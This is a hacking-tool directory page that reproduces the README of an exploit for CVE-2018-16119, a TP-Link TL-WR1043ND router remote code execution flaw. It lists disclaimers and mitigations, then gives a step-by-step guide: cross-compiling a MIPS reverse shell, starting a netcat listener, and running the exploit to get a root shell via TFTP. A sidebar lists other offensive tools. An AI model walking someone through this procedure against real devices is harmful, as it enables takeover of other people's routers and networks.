Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-16119 — TP-Link TL-WR1043ND - Authenticated Remote Code Execution | Kitploit
Tools/GitHubGitHub/hdbreaker/cve-2018-16119
Embedded Systems SecurityIoT SecurityExploitationWeb Application ExploitationPenetration TestingHardware SecurityLearning & EducationRed TeamingPayload Development
GitHubhdbreaker/cve-2018-16119

CVE-2018-16119

16349Jul 29, 2025Not yet reviewed
Share

TP-Link TL-WR1043ND - Authenticated Remote Code Execution

View RepositoryWebsite

CVE-2018-16119: Authenticated Remote Code Execution in TP-Link WR1043ND

Overview

CVE-2018-16119 is a critical authenticated remote code execution vulnerability affecting TP-Link TL-WR1043ND routers. This vulnerability allows authenticated attackers to execute arbitrary commands on the target device with root privileges, potentially leading to complete system compromise.

CVE Details: CVE-2018-16119

Vulnerability Impact

  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Authentication needed)
  • User Interaction: None
  • Scope: Changed
  • Impact: Complete compromise of device confidentiality, integrity, and availability

Once exploited, an attacker gains root shell access to the router, enabling them to:

  • Modify router configurations
  • Monitor network traffic
  • Use the device as a pivot point for lateral movement
  • Install persistent backdoors
  • Disrupt network connectivity

Affected Devices

  • TP-Link TL-WR1043ND (multiple firmware versions)
  • Potentially other TP-Link devices using similar firmware

Prerequisites

System Requirements

  • Linux host with root privileges (required for TFTP server on port 69)
  • Docker (for cross-compilation)
  • Network connectivity to target device
  • Valid authentication credentials for the target router

Dependencies

# Install required packages
sudo apt-get update
sudo apt-get install netcat docker.io

Exploitation Guide

Step 1: Compile the Reverse Shell Payload

The exploit requires a MIPS big-endian reverse shell binary. Follow these steps to compile it:

# Copy the source code to /tmp
cp exploit/tftp_server/reverse_shell_mipsbe.c /tmp/

# Use Docker container with MIPS cross-compilation tools
docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash

Inside the Docker container:

cd /tmp
mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh

Exit Docker and copy the compiled binary:

cp /tmp/shh exploit/tftp_server/

Step 2: Set Up the Reverse Shell Listener

Open a terminal and start a netcat listener on port 9669:

Linux:

nc -l -p 9669 -vv

macOS:

nc -l 9669 -vv

Step 3: Execute the Exploit

Run the exploit script with root privileges (required for TFTP server):

sudo python3 exploit/exploit.py

The script will:

  1. Authenticate to the target router
  2. Start a TFTP server on port 69
  3. Exploit the vulnerability to download and execute the reverse shell
  4. Establish a connection back to your listener

Step 4: Interact with the Shell

Once the connection is established:

  • You will have root access to the router
  • No verbose output will be displayed initially
  • Simply start typing commands to interact with the shell

Project Structure

CVE-2018-16119/
├── exploit/
│   ├── exploit.py              # Main exploit script
│   ├── requirements.txt        # Python dependencies
│   ├── notes.txt              # Additional notes
│   └── tftp_server/
│       ├── reverse_shell_mipsbe.c  # Reverse shell source code
│       └── shh                     # Compiled MIPS binary
├── firmware/
│   └── wr740nv4_webrevert.bin     # Sample firmware
├── squashfs-root/                  # Extracted firmware filesystem
└── README.md                       # This file

Security Considerations

Responsible Disclosure

This vulnerability has been responsibly disclosed and should only be used for:

  • Authorized penetration testing
  • Security research in controlled environments
  • Educational purposes

Legal Notice

⚠️ WARNING: This exploit is provided for educational and authorized testing purposes only. Unauthorized access to computer systems is illegal and unethical. Users are responsible for ensuring they have proper authorization before using this tool.

Mitigation Recommendations

  • Update to the latest firmware version
  • Change default administrative credentials
  • Disable remote management if not required
  • Implement network segmentation
  • Monitor for suspicious network activity

Dependencies

Install Python requirements:

pip3 install -r exploit/requirements.txt

Troubleshooting

Common Issues

TFTP Server Permission Denied:

  • Ensure the script is run with root privileges
  • Check that port 69 is not already in use

Connection Failed:

  • Verify network connectivity to target
  • Confirm authentication credentials are correct
  • Check firewall settings

No Shell Response:

  • The shell may take a moment to initialize
  • Try pressing Enter or typing basic commands like id or pwd

Research & Development

This research demonstrates critical security flaws in embedded device firmware. The vulnerability highlights the importance of:

  • Secure coding practices in embedded systems
  • Regular security audits of IoT devices
  • Timely firmware updates and patch management

References

  • CVE-2018-16119 Official Entry
  • TP-Link Security Advisories

Contact & Attribution

Research by: Alejandro Parodi
Twitter: @hdbreaker
LinkedIn: Alejandro Parodi


This research was conducted for educational purposes and to improve the security of embedded systems. Please use responsibly.

Download Tool

Related Tools

  • binwalk

    Firmware Analysis Tool

  • emba

    EMBA - The firmware security analyzer

  • FACT_core

    Firmware Analysis and Comparison Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.2k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    783
  • 3

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    455
  • 4

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    446
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    402
  • 6

    faraday

    infobyte/faraday

    Open-source and AI-powered cybersecurity tools for offensive security, vulnerability management, and autonomous pentesting. Built by hackers in Latin America, used worldwide.

    348

Explore all tools

Browse our collection of tools

View all tools →